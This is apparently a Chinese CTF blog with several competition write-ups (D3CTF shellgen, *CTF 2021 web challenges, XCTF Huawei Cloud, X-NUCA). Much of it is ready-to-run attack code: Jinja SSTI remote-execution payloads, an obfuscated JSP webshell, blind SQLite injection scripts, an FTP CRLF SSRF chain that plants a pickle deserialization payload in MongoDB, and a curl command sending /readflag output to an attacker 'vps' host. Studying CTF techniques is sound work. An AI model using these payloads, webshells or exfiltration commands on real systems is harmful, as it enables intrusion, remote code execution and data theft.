在做这个题的时候，遇到了很多坑。比如刚放出这个题的时候，无论让python输出什么，都返回 detected，没有过wrong answer的回显，然后过了几个小时，就好了… 后面尝试写文件，更玄学，感觉逻辑没有问题，但是check的结果显示没写进去，去找出题人反馈，出题人进题目环境说已经写进去了… 不知道我们这里为什么访问 /result check 不到。

最后干脆写了个循环脚本，一直在尝试攻击，python 的code也写成了循环写入，终于是做到了跑几次能rce一次（反弹shell无果，curl与ping请求都非常之卡，赛后问了下是香港反代的原因）。

hint提示flag在另一个container里，也弹不了shell，题目删了 docker 命令，所以仿照题目代码，使用dockerclient 来与docker交互，发现了名为 d3ctf-shellgen-flag 的container。执行什么 bash，sh，pwd 各种命令都显示找不到文件。最后直接写脚本把这个container拖下来：

import time, random, base64, requests
 
 
def randid():
    return str(random.randint(10**14, 10**15))
 
 
def check(sess):
    while True:
        r = sess.get('http://d9d2f935ab.shellgen.d3ctf.io/result')
        if 'wait for a sec' in r.text:
            time.sleep(0.1)
            continue
        return r.text, time.time()
 
 
py = b'''from docker import DockerClient, types
client = DockerClient()
print(client.containers.list())
x=client.containers.get('d67a893292')
print(x.id,x.image,x.name,x.status)
bits,stat=x.get_archive('/')
print(stat)
f=open('/tmp/export.tar','wb')
for chunk in bits:
    f.write(chunk)
f.close()
'''
cmd = 'echo %s | base64 -d | python3' % base64.b64encode(py).decode()
 
cmd = 'echo %s | base64 -d | bash | base64' % base64.b64encode(cmd.encode()).decode()
 
code = '''
for i in range(100):
    try:
        open('/opt/def/result.html','w').write("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval(\\"__import__('os').popen('  ''' + cmd + ''' ').read()\\") }}{% endif %}{% endfor %}")
    except:
        pass
'''
 
print(code)
 
while True:
    id = randid()
    print(id)
 
    s3 = requests.Session()
    s3.post('http://d9d2f935ab.shellgen.d3ctf.io/submit', data={'token': randid(), 'code': 'pass'})
    s1 = requests.Session()
    s1.post('http://d9d2f935ab.shellgen.d3ctf.io/submit', data={'token': id + '/def', 'code': 'print("})
    s2 = requests.Session()
    s2.post('http://d9d2f935ab.shellgen.d3ctf.io/submit', data={'token': '../templates/' + id, 'code': code})
    a, b = check(s3)
    print(b)
    c, d = check(s1)
    print(d)
    if 'Wr0ng' not in c:
        #open('out.tar', 'wb').write(base64.b64decode(c))
        print(base64.b64decode(c).decode())
        break

拖下来本地发现有个 /getflag，执行发现需要输入token，输入token得到了 flag，但是交上去不对…

猜测是不是必须要在远程跑，但是需要输入token，需要交互，想用echo xx | /readflag，但是发现 echo 都没有：

尝试逆向程序，发现生成flag的逻辑并没有很复杂，本地结果和远程结果应该是一样的。最后找出题人解决了flag错误的问题。

2021 *CTF Web 题解

2021-01-19T06:30:02.000Z

因为战队之前 XCTF 没怎么全员打，没有门票，*CTF是最后一次入场券了，所以周末跟队友全力打了下 *CTF。有点可惜，差了道 Web（背锅…

四道 Web，感觉除了 bet，剩下的都不那么 Web…

Web

Oh-my-note

开始以为 SSTI 之类的，试了下发现不是。

通读代码也没啥点，有个奇怪的地方就是以一个已经存在的用户发帖子，没有登陆状态… 猜测是不是题目启动时候自动加的帖子有东西。

有了 userid 就可以看所有帖子了，看代码发现 userid 可以爆破出来：

思路就是有了下面的post_at，在附近去爆破一下前面的timestamp，这样可以得到user_id了，然后可以查看前面那几个user的文章。

import time, datetime
import string
import random


def get_random_id():
    alphabet = list(string.ascii_lowercase + string.digits)
    return ''.join([random.choice(alphabet) for _ in range(32)])


post_at = "2021-01-15 02:29 UTC"
timeArray = time.strptime(post_at, "%Y-%m-%d %H:%M UTC")
init = int(time.mktime(timeArray) - time.mktime(time.gmtime(0)))
# print(init)
for j in range(-20,20):
    timestamp = init - j
    for i in range(10000):
        tmp = round(i / 10000, 4)
        res = timestamp + tmp
        # print(res)
        random.seed(res)
        user_id = get_random_id()
        random.seed(user_id + post_at)
        note_id = get_random_id()
        # print(note_id)
        if note_id == 'lj40n2p9qj9xkzy3zfzz7pucm6dmjg1u':
            print(user_id)

注意下时区问题，有了 userid，note里有 flag：

lottery again

2020 0CTF初赛改的，功能逻辑没改，当时题解：http://igml.top/2020/06/29/2020-TCTF-0CTF/#lottery

2020 0CTF改的，发现逻辑几乎都没变，关键是加密算法变了。mcrypt_encrypt(MCRYPT_RIJNDAEL_256, env('LOTTERY_KEY'), $serilized, MCRYPT_MODE_ECB)这不是正常的AES，密钥需要32字节，并且明文32字节为一组。

明文按照32字节分组：

{"lottery":"56505c44-f0d3-492a-b
12b-0fa6bfc93c65","user":"edce28
e4-bfea-41c5-8cc5-ec55104b745b",
"coin":19}

可以加一个第二个分组，搞成这样：

{"lottery":"56505c44-f0d3-492a-b
12b-0fa6bfc93c65","user":"edce28
xxxxxxxxxxxxxxxx","user":"edca28
e4-bfea-41c5-8cc5-ec55104b745b",
"coin":19}

json_loads时，第二个user会覆盖掉前面的，这样后面的user我们可以完全控制，把钱都转到一个账户就行了。

为了加快速度，写了个多进程脚本：

import requests
from multiprocessing import Pool, Manager, Value
import random, string
import json
from base64 import *

url = "http://52.149.144.45:8080/"


def register():
    user = "".join([random.choice(string.printable) for _ in range(5)])
    session = requests.Session()
    paramsPost = {"password": user, "username": user}
    headers = {"Origin": url, "Accept": "*/*", "X-Requested-With": "XMLHttpRequest",
               "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36",
               "Referer": url + "index.html", "Connection": "close",
               "Accept-Language": "zh-CN,zh;q=0.9",
               "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
    response = session.post(url + "/user/register", data=paramsPost, headers=headers)
    data = response.content.strip()
    data = json.loads(data)
    uuid = data["user"]["uuid"]
    resp = session.post(url + "/user/login", data={'username': user, 'password': user})
    data = json.loads(resp.content.strip())
    api_token = data["user"]["api_token"]
    return {'uuid': uuid, 'api_token': api_token}


def buy(api_token):
    session = requests.Session()

    paramsPost = {"api_token": api_token}
    headers = {"Origin": "http://52.149.144.45:8080", "Accept": "*/*", "X-Requested-With": "XMLHttpRequest",
               "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
               "Referer": "http://52.149.144.45:8080/user.html", "Connection": "close",
               "Accept-Language": "zh-CN,zh;q=0.9", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
    cookies = {"api_token": "A1k8zDLeR4lmwwuJaZUgpGRFg9AvT6e2"}
    response = session.post("http://52.149.144.45:8080/lottery/buy", data=paramsPost, headers=headers, cookies=cookies)
    return json.loads(response.content.strip())['enc']


def info(enc):
    session = requests.Session()
    paramsPost = {
        "enc": enc}
    headers = {"Origin": "http://52.149.144.45:8080", "Accept": "*/*", "X-Requested-With": "XMLHttpRequest",
               "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
               "Referer": "http://52.149.144.45:8080/lottery.html", "Connection": "close",
               "Accept-Language": "zh-CN,zh;q=0.9", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
    cookies = {"api_token": "A1k8zDLeR4lmwwuJaZUgpGRFg9AvT6e2"}
    response = session.post("http://52.149.144.45:8080/lottery/info", data=paramsPost, headers=headers, cookies=cookies,
                            proxies={'http': 'http://127.0.0.1:8080'})
    return json.loads(response.content.strip())


def charge(coin, userid, enc):
    session = requests.Session()

    paramsPost = {
        "enc": enc,
        "user": userid, "coin": str(coin)}
    headers = {"Origin": "http://52.149.144.45:8080", "Accept": "*/*", "X-Requested-With": "XMLHttpRequest",
               "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
               "Referer": "http://52.149.144.45:8080/lottery.html", "Connection": "close",
               "Accept-Language": "zh-CN,zh;q=0.9", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
    cookies = {"api_token": "A1k8zDLeR4lmwwuJaZUgpGRFg9AvT6e2"}
    response = session.post("http://52.149.144.45:8080/lottery/charge", data=paramsPost, headers=headers,
                            cookies=cookies, proxies={'http': 'http://127.0.0.1:8080'})
    if "[]" not in response.content:
        print "error!"


def attack(init_enc, init_info):
    userid = init_info['info']['user']
    coin = init_info['info']['coin']
    init_enc = b64decode(init_enc)[32:]
    account = register()
    api_token = account['api_token']
    enc = buy(api_token)
    exp_enc = b64encode(b64decode(enc)[:64] + init_enc)
    # print info(exp_enc)
    charge(coin, userid, exp_enc)


def processPools(init_enc, init_info):
    num = 10
    pool = Pool(processes=num)
    jobs = []
    manager = Manager()
    dict = manager.dict()
    now_num = manager.dict()
    now_num["num"] = 0
    for i in range(2 ** 16):
        job = pool.apply_async(attack, (init_enc, init_info))
        jobs.append(job)
    pool.close()
    pool.join()


if __name__ == '__main__':
    init_account = register()
    api_token = init_account['api_token']
    print "init account api_token", api_token
    init_enc = buy(api_token)
    print init_enc
    init_info = info(init_enc)
    print init_info
    processPools(init_enc, init_info)

拿着api_token去买flag就好了：

oh-my-socket

我们有webserver的shell（传个python随便执行，可以弹shell），然后另一个server容器监听21587端口，如果给他发*ctf，就把flag发过来。

但是由于这个client连着server的21587端口，导致我们无法连接。。。

本来写了个脚本监视大家的 exp，但是一下午也没抄到作业（可能把 exp 传到隐秘的目录去了），反而自己的监视脚本还被别人抄了23333。

不过看到有人在伪造源地址和目的地址在发 TCP 包，还有人一直在读/proc//net/netstat，也没尝试。之后索性写了个脚本，一直不断连接 server 的21587端口，如果有人把那个连接打断了之类的，就可以马上上车了，结果就出了flag。

code = '''
from socket import *
try:
    tcpSerSock = socket(AF_INET, SOCK_STREAM)
    tcpSerSock.connect(('172.21.0.2', 21587))
    tcpSerSock.send(b'*ctf')
    #tcpSerSock.send(b'GET /file?name=%2Fproc%2Fself%2Fenviron HTTP/1.1\\r\\n\\r\\n')
    print(tcpSerSock.recv(1280))
except Exception as e:
    print("ERROR", e)
'''
import requests

while True:
    session = requests.Session()

    paramsMultipart = [('file', ('gml.py', code, 'application/octet-stream'))]
    headers = {"Origin": "null", "Cache-Control": "max-age=0",
               "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
               "Upgrade-Insecure-Requests": "1",
               "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
               "Connection": "close", "Accept-Language": "zh-CN,zh;q=0.9"}
    try:
        response = session.post("http://101.33.124.168:5001/upload", files=paramsMultipart, headers=headers,
                            proxies={'http': 'http://127.0.0.1:8080'}, timeout=4)
        res = response.content
        if "*ctf" in res:
            print "success!"
            print response.content
            exit()
    except:
        pass

预期解是伪造一个从server到client的RST，从而断开连接，可以参考 L 战队师傅的 https://blog.frankli.site/2021/01/18/*CTF-2021-Web/#oh-my-socket。看起来比赛的时候我抄到了真正的 exp，只是不知道怎么利用 2333。

没想到经常和实验室合作的钱志云老师 TCP 攻击的论文，还被用来出 CTF 题了（这就是现在的 CTF 么

oh-my-bet

赛后复现的，这道题算是这次比赛质量最高的一道 Web了（唯一一道传统 Web

打开题目一看，没啥太多接口和功能，注册的时候头像处，任意文件读取：

常规套路，依次读取 /proc/self/environ，/proc/self/cmdline。读取 /app/app.py，/app/utils.py，/app/config.py。

关键的 utils.py：

import os
import time
import re
import base64
import random
import hashlib
import urllib.request
from exts import redis_client
from functools import wraps
from flask import session, redirect, url_for
from models import User


def mark_data(id, data):
    expires = int(time.time()) + 240
    p = redis_client.pipeline()
    p.set(id, data)
    p.expireat(id, expires)
    p.execute()


def get_data(id):
    data = redis_client.get(id)
    if not data:
        data = get_avatar(id)
        mark_data(id, data)
    return data.decode()


def login_required(f):
    @wraps(f)
    def decorated_function(*args, **kws):
            if not session.get("username"):
               return redirect(url_for('login'))
            return f(*args, **kws)
    return decorated_function


def get_avatar(username):

    dirpath = os.path.dirname(__file__)
    user = User.query.filter_by(username=username).first()

    avatar = user.avatar
    if re.match('.+:.+', avatar):
        path = avatar
    else:
        path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', avatar])
    try:
        content = base64.b64encode(urllib.request.urlopen(path).read())
    except Exception as e:
        error_path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', 'error.png'])
        content = base64.b64encode(urllib.request.urlopen(error_path).read())
        print(e)

    return content


def random_dice():
    dices = ['1.gif', '2.gif', '3.gif', '4.gif', '5.gif', '6.gif', 'surprise1.gif', 'surprise2.gif']
    return random.choice(dices)


def random_card():
    color = ['♠️️', '❤️ ', '️️🔷', '♣️', '🚩']
    return "%-5s" % random.choice(color) + ' ' + "%-3s" % str(random.randint(1, 15))


def md5(data):
    m = hashlib.md5(data.encode())
    return m.hexdigest()

config.py：

import pymongo
from ftplib import FTP
import json

class Config(object):

    def ftp_login(self):
        ftp = FTP()
        ftp.connect("172.20.0.2", 8877)
        ftp.login("fan", "root")
        return ftp

    def callback(self,*args, **kwargs):
        data = json.loads(args[0].decode())
        self.data = data

    def get_config(self):
        f = self.ftp_login()
        f.cwd("files")
        buf_size = 1024
        f.retrbinary('RETR {}'.format('config.json'), self.callback, buf_size)

    def __init__(self):
        self.get_config()
        data = self.data

        self.secret_key = data['secret_key']
        self.SECRET_KEY = data['secret_key']
        self.DEBUG = data['DEBUG']
        self.SESSION_TYPE = data['SESSION_TYPE']
        remote_mongo_ip = data['REMOTE_MONGO_IP']
        remote_mongo_port = data['REMOTE_MONGO_PORT']
        self.SESSION_MONGODB = pymongo.MongoClient(remote_mongo_ip, remote_mongo_port)
        self.SESSION_MONGODB_DB = data['SESSION_MONGODB_DB']
        self.SESSION_MONGODB_COLLECT = data['SESSION_MONGODB_COLLECT']
        self.SESSION_PERMANENT = data['SESSION_PERMANENT']
        self.SESSION_USE_SIGNER = data['SESSION_USE_SIGNER']
        self.SESSION_KEY_PREFIX = data['SESSION_KEY_PREFIX']

        self.SQLALCHEMY_DATABASE_URI = data['SQLALCHEMY_DATABASE_URI']
        self.SQLALCHEMY_TRACK_MODIFICATIONS = data['SQLALCHEMY_TRACK_MODIFICATIONS']

        self.REDIS_URL = data['REDIS_URL']

开了个 ftp，读取 config.json：

1	ftp://fan:root@172.20.0.2:8877/files/config.json

{
  "secret_key":"f4545478ee86$%^&&%$#",
  "DEBUG": false,
  "SESSION_TYPE": "mongodb",
  "REMOTE_MONGO_IP": "172.20.0.5",
  "REMOTE_MONGO_PORT": 27017,
  "SESSION_MONGODB_DB": "admin",
  "SESSION_MONGODB_COLLECT": "sessions",
  "SESSION_PERMANENT": true,
  "SESSION_USE_SIGNER": false,
  "SESSION_KEY_PREFIX": "session:",
  "SQLALCHEMY_DATABASE_URI": "mysql+pymysql://root:starctf123456@172.20.0.3:3306/ctf?charset=utf8",
  "SQLALCHEMY_TRACK_MODIFICATIONS": true,
  "REDIS_URL": "redis://@172.20.0.4:6379/0"
}

这个 urllib.request.urlopen，测试发现存在 CRLF 注入。

分析一下，题目连同 webserver，一共启动了 webserver、ftp、mongodb、mysql 与 redis 5 个容器。题目提示需要 webserver 的 rce，以及与 redis 无关。

在 config.json 中可以看到 session 是使用 mongodb 存储的，以前总是考使用 redis 存储，ssrf 攻击 redis 注入恶意序列化数据 getshell。这个题虽然是使用 mongodb 存储 session，但因为 flask-session 把 session 数据序列化，所以无论使用什么存储 session，理论上都有 ssrf + 反序列化的可能。

现在我们的目标是将恶意的序列化数据注入到mongodb里，这就需要借助 ftp 了。为什么不能使用http://ip:port\r\npayload\r\n这种呢，因为 mongodb 是二进制协议，这样做前面会有多余的部分（http 包，前面的GET与路径部分等），会影响 mongodb。

所以我们需要借助 ftp，ftp 主动模式与被动模式，以及 CRLF 可以参考@Zeddy 的文章：http://blog.zeddyu.info/2020/04/20/Plaid-CTF-2020-Web-1/

比赛的时候，一直向着被动模式，尝试让 webserver 下载文件，思路走偏了。这个题其实是利用主动模式下载文件与上传文件。

先放一张主动模式的示意图：

既然我们利用 http 无法攻击 mongodb，那么就需要 ftp 服务器帮我们把数据打过去。可以想到我们可以在主动模式的步骤 2，用 PORT 命令把客户端指定成 mongodb 服务的 ip 和端口，再选择下载文件，这样就可以把文件的内容打到 mongodb 服务。

那么这个攻击前提是我们需要将数据包写到 ftp server 的一个文件里，这也可以利用主动模式实现。我们同样在步骤 2，用 PORT 命令把客户端指定成我们 vps 的 ip 和端口，再选择上传文件，那么 ftp server 就可以从我们的vps这里下载文件。

所以思路明确了，步骤如下：

将数据包放到vps上，利用 ftp 将数据包上传到 ftp server；
利用 ftp 把 ftp server 的数据包发送到 mongodb （把流量打过去）
刷新相应 session 页面，触发反序列化

现在剩下的一个问题就是 mongodb 的数据包我们没有，这里采取本地抓包的方式。也可以参考 L 战队师傅的方法：https://blog.frankli.site/2021/01/18/*CTF-2021-Web/

首先启一个 mongodb 的docker：

1	docker run -itd --name mongo -p 27017:27017 mongo

按照题目，进入容器，创建名为 admin 的数据库与名为 sessions 的 collection。

这里为了抓流量，使用 socat 转发流量：

1	socat -v -x tcp-listen:4444,fork tcp-connect:localhost:27017

拿 python 插入数据：

import requests
from base64 import *
import random
import string
import cPickle
import os
from pymongo import MongoClient


def get_payload():
    cmd = 'curl -d "`/readflag`" vps:2333'

    class exp(object):
        def __reduce__(self):
            return (os.system, (cmd,))

    data = cPickle.dumps(exp())

    client = MongoClient('localhost', 4444)
    tmp = client.admin.sessions
    tmp.update_one(
        {'id': 'session:1b3c3cb9-d81c-419d-8e2d-3a8130ebde62'},
        {"$set": {"val": data}},
        upsert=True
    )
get_payload()

可以看到 socat 记录下了流量：

这部分是插入数据的流量，我们需要十六进制保存下来：

1	socat -x tcp-listen:4444,fork tcp-connect:localhost:27017

把数据包保存，放到 vps上，起个监听的服务：

from socket import *
from time import ctime
import time


HOST = '0.0.0.0'
PORT = 2202
BUFSIZ = 1024
ADDR = (HOST, PORT)

tcpSerSock = socket(AF_INET, SOCK_STREAM)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5)

cnt = 0
while True:
    print('waiting for connection...')
    tcpCliSock, addr = tcpSerSock.accept()
    cnt += 1
    print('...connnecting from:', addr)
    for _ in range(1):
        content = open('gml.txt','rb').read()
        print(content)
        tcpCliSock.send(content)
tcpSerSock.close()

现在让 ftp server 下载我们的文件：

1	ftp://fan:root\r\nCWD .\r\nTYPE I\r\nPORT x,x,x,x,6,666\r\nSTOR gml.txt\r\n@172.20.0.2:8877/"

注意 PORT 命令格式，前四个数字是十进制的ip，后两个是 6*256+666=2202，这么计算的端口号。

再次访问 ftp，发现有了文件：

下面让 ftp server 去向 mongoldb 发流量（端口号105*256+137=27017）

1	ftp://fan:root\r\nCWD .\r\nTYPE I\r\nPORT 172,20,0,5,105,137\r\nRETR gml.txt\r\n@172.20.0.2:8877/

然后刷新一下页面：

完整的脚本：

import requests
from base64 import *
import random
import string
import cPickle
import os
from pymongo import MongoClient


def get_payload():
    cmd = 'curl -d "`/readflag`" x,x,x,x:2333'

    class exp(object):
        def __reduce__(self):
            return (os.system, (cmd,))

    data = cPickle.dumps(exp())

    client = MongoClient('localhost', 4444)
    tmp = client.admin.sessions
    tmp.update_one(
        {'id': 'session:1b3c3cb9-d81c-419d-8e2d-3a8130ebde62'},
        {"$set": {"val": data}},
        upsert=True
    )

def attack(filename):
    url = "http://52.163.52.206:8088/"
    session = requests.Session()
    username = "".join([random.choice(string.ascii_letters + string.digits) for _ in range(8)])
    password = "".join([random.choice(string.ascii_letters + string.digits) for _ in range(8)])

    paramsPost = {"password": password, "avatar": filename, "submit": "Go!", "username": username}
    headers = {"Origin": url, "Cache-Control": "max-age=0",
               "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
               "Upgrade-Insecure-Requests": "1",
               "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
               "Referer": url + "login", "Connection": "close", "Accept-Language": "zh-CN,zh;q=0.9",
               "Content-Type": "application/x-www-form-urlencoded"}
    response = session.post(url + "login", data=paramsPost, headers=headers, proxies={'http': 'http://127.0.0.1:8080'})

    content = session.get(url + 'shake_and_dice').content

    res = content[content.find(') + len('):content.find('" class="img-thumbnail"')]
    res = res[res.find('data:image/png;base64,') + len('data:image/png;base64,'):]
    # print res
    file = b64decode(res)
    name = filename.split('/')[-1]
    print file


if __name__ == '__main__':
    # get_payload()
    # attack("ftp://fan:root@172.20.0.2:8877/")
    # attack("ftp://fan:root\r\nCWD .\r\nTYPE I\r\nPORT x,x,x,x,6,666\r\nSTOR gml.txt\r\n@172.20.0.2:8877/")
    attack("ftp://fan:root\r\nCWD .\r\nTYPE I\r\nPORT 172,20,0,5,105,137\r\n\r\nRETR gml.txt\r\n@172.20.0.2:8877/")

总结

这次除了 bet 感觉剩下不是那么传统的 Web，自己因为之前 ftp 没调过也没复现过（之前应该有几次比赛考察了 ftp ，吃了懒惰的亏…

最后离 0ops 就差一道题有点可惜，不过 0ops 之前有门票，应该也进了 XCTF Final。anyway，这次算是战队全力打了，队友都 tql。

2020 XCTF 华为云专场部分wp

2020-12-21T10:45:02.000Z

临近期末，抽了半天时间做了四道水题…

webshell_1

免杀的jsp，网上找个改一改：

import requests
from base64 import *
from urllib import quote

shell = '''<%@ page contentType="text/html;charset=UTF-8"  language="java" %>
<%
        Class rt = Class.forName(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }));
        Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null), "cat /flag" );
        \u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0069\u006e\u0020\u003d\u0020\u0065\u002e\u0067\u0065\u0074\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b
        int a = -1;byte[] b = new byte[2048];out.print("");
        while((a=in.read(b))!=-1){ out.println(new String(b)); }out.print("
");
%>'''
l = len(shell)

session = requests.Session()
while True:
    if "=" in b64encode(shell):
        shell += ' '
        shell += ' '
    else:
        break
paramsPost = b64encode(shell)
headers = {"Origin": "http://121.37.182.111:32201", "Accept": "application/json, text/plain, */*",
           "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
           "Referer": "http://121.37.182.111:32201/", "Connection": "close", "Accept-Language": "zh-CN,zh;q=0.9",
           "Content-Type": "application/x-www-form-urlencoded"}
cookies = {"JSESSIONID": "91329C00210DA235957175E32087F422"}
response = session.post("http://121.37.182.111:32201/upload.jsp", data=paramsPost, headers=headers, cookies=cookies,
                        proxies={'http': 'http://127.0.0.1:8080'})

path = response.content.strip()
print path
print requests.get('http://121.37.182.111:32201/' + path).text

MIE1_1

https://www.secpulse.com/archives/115367.html

过滤了args，用cookies就好了。

MIE2

过滤了{{ 空格 request set 引号 config 等。

使用 {%，%c 来拼字符串。

import requests

url = 'http://121.37.182.111:31969/success'


def gen(s):
    res = map(lambda x: ('"%c"%(' + str(ord(x)) + ")"), s)
    return "+".join(res)


exp = '''()|attr({x1})|attr({x2})|attr({x3})()|attr({x4})(233)|attr({x5})|attr({x6})|attr({x4})({x7})|attr({x4})({x8})({x9})''' \
    .format(
    x1=gen("__class__"), x2=gen("__base__"), x3=gen("__subclasses__"), x4=gen("__getitem__"), x5=gen("__init__"),
    x6=gen("__globals__"), x7=gen("__builtins__"), x8=gen("eval"),
    x9=gen('''__import__("os").popen('cat flag.txt').read()'''))
msg = '''{%print\n''' + exp + "%}"
s = requests.get(url, params={'msg': msg}})
print s.text

用 \x编码的形式应该也可以，简单一些。

{%print(()|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(202)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("\x65\x76\x61\x6c")("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x22\x6f\x73\x22\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x74\x78\x74\x27\x29\x2e\x72\x65\x61\x64\x28\x29"))%}

PYER

username 处存在注入，Sqlite，注出 admin 的密码是 sqlite_not_safe。

import requests
import string

url = "http://124.71.207.51:30435/login"


def req(username, password):
    s = requests.post(url, data={'username': username, 'password': password},proxies={'http':'http://127.0.0.1:8080'})
    if s.status_code==500:
        print username
        exit()
    if "login error" not in s.text:
        return True
    else:
        return False

# table:comment users
def get_column():
    # comment users
    username = "gml'union select case when substr((select hex(group_concat(sql)) FROM sqlite_master WHERE type='table' and name='users'),{pos},1)='{value}' then '2' else '0' end-- "
    data = ""
    for i in range(101,500):
        for c in "0123456789ABCDEF":
            if req(username.format(pos=i,value=c), 2):
                data += c
                if len(data)%2==0:
                    print data.decode("hex")
                break
def get_pass():
    # sqlite_not_safe
    username = "gml'union select case when substr((select hex(group_concat(password)) FROM users),{pos},1)='{value}' then '2' else '0' end-- "
    data = ""
    for i in range(1,500):
        for c in "0123456789ABCDEF":
            if req(username.format(pos=i,value=c), 2):
                data += c
                if len(data)%2==0:
                    print data.decode("hex")
                break
def get_data():
    # sqlite_not_safe
    username = "gml'union select case when substr((select hex(group_concat(sql)) FROM sqlite_master WHERE type='table' and name='comment'),{pos},1)='{value}' then '2' else '0' end-- "
    data = ""
    for i in range(101,500):
        for c in "0123456789ABCDEF":
            if req(username.format(pos=i,value=c), 2):
                data += c
                if len(data)%2==0:
                    print data.decode("hex")
                break
def test():
    username = "gml'union select case when substr((select group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'),1,1)='c' then '2' else '0' end-- "
    print req(username, '2')


if __name__ == '__main__':
    # test()
    # get_column()
    # get_pass()
    get_data()

登陆进admin，一个查询 comment 的功能，有一处注入+回显点，可以ssti。

直接把MIE2 那个题的payload复用一下：

2020 X-NUCA 决赛 ezwp

2020-12-08T12:16:13.000Z

往年听说 X-NUCA 决赛有渗透，想着来补补渗透，结果今年没有了… 只有一道 Web，类似解题，提交 flag 每轮自动得分，没有防御概念。

题目基于 Wordpress 5.5.3 最新版本进行了一些改动，并添加了几个插件。拿到源码先 diff 一下，发现 wordpress 部分有几处小的改动，其中增加了对文件上传的一个过滤：

文件内容不允许含有 php。其他有部分改动，但感觉没什么可以利用的。继续看插件，发现除了contact-form-7，剩下的插件都是最新版本。contact-form-7 是 5.0.3 的版本。

预期解法

开始一直沿着预期解法做，后面卡住做不动了。

搜一下contact-form-7 5.0.3漏洞，发现有一个权限提升的漏洞：https://paper.seebug.org/774/

diff 一下题目的代码与 contact-form-7 5.0.3源码，发现很明显：

权限提升的漏洞最后利用就是通过邮件方式任意文件读取，这里出题人重写了发邮件函数，很明显就是要利用这个漏洞。

用文章的方法进行复现，发现可以越权创建 contact，但是无法设置 email 那些关键参数。

文章的exp：

var settings = {
    "async": true,
    "crossDomain": true,
    "url": "http://10.0.0.123/wordpress_v4.9.2/wp-admin/post.php?post=xxx",
    "method": "POST",
    "data": {
        "_wpnonce": "xxx",
        "_wp_http_referer": "%2Fwordpress_v4.9.2%2Fwp-admin%2Fpost-new.php",
        "user_ID": "2",
        "action": "post",
        "originalaction": "editpost",
        "post_author": "2",
        "post_type": "wpcf7_contact_form",
        "original_post_status": "auto-draft",
        "auto_draft": "",
        "post_title": "xxx",
        "content": "test",
        "wp-preview": "",
        "hidden_post_status": "draft",
        "post_status": "draft",
        "hidden_post_password": "",
        "hidden_post_visibility": "public",
        "visibility": "public",
        "post_password": "",
        "mm": "12",
        "jj": "22",
        "_thumbnail_id": "-1",
        "advanced_view": "1",
        "comment_status": "open",
        "ping_status": "open",
        "post_name": "",
        "meta_input[_mail][subject]": "test \"[your-subject]\"",
        "meta_input[_mail][sender]": "2",
        "meta_input[_mail][recipient]": "xxx",
        "meta_input[_mail][body]": "From: [your-name] <[your-email]>\\nSubject: [your-subject]\\n\\nMessage Body:\\n[your-message]\\n\\n-- \\n",
        "meta_input[_mail][additional_headers]": "Reply-To: [your-email]",
        "meta_input[_mail][attachments]": "../wp-config.php",
        "meta_input[_mail][use_html]": "false",
        "meta_input[_mail][exclude_blank]": "false",
        "meta_input[_form]": " Your Name (required)\n    [text* your-name] \n\n Your Email (required)\n    [email* your-email] \n\n Subject\n    [text your-subject] \n\n Your Message\n    [textarea your-message] \n\n[submit \\\"Send\\\"]"
    }
}

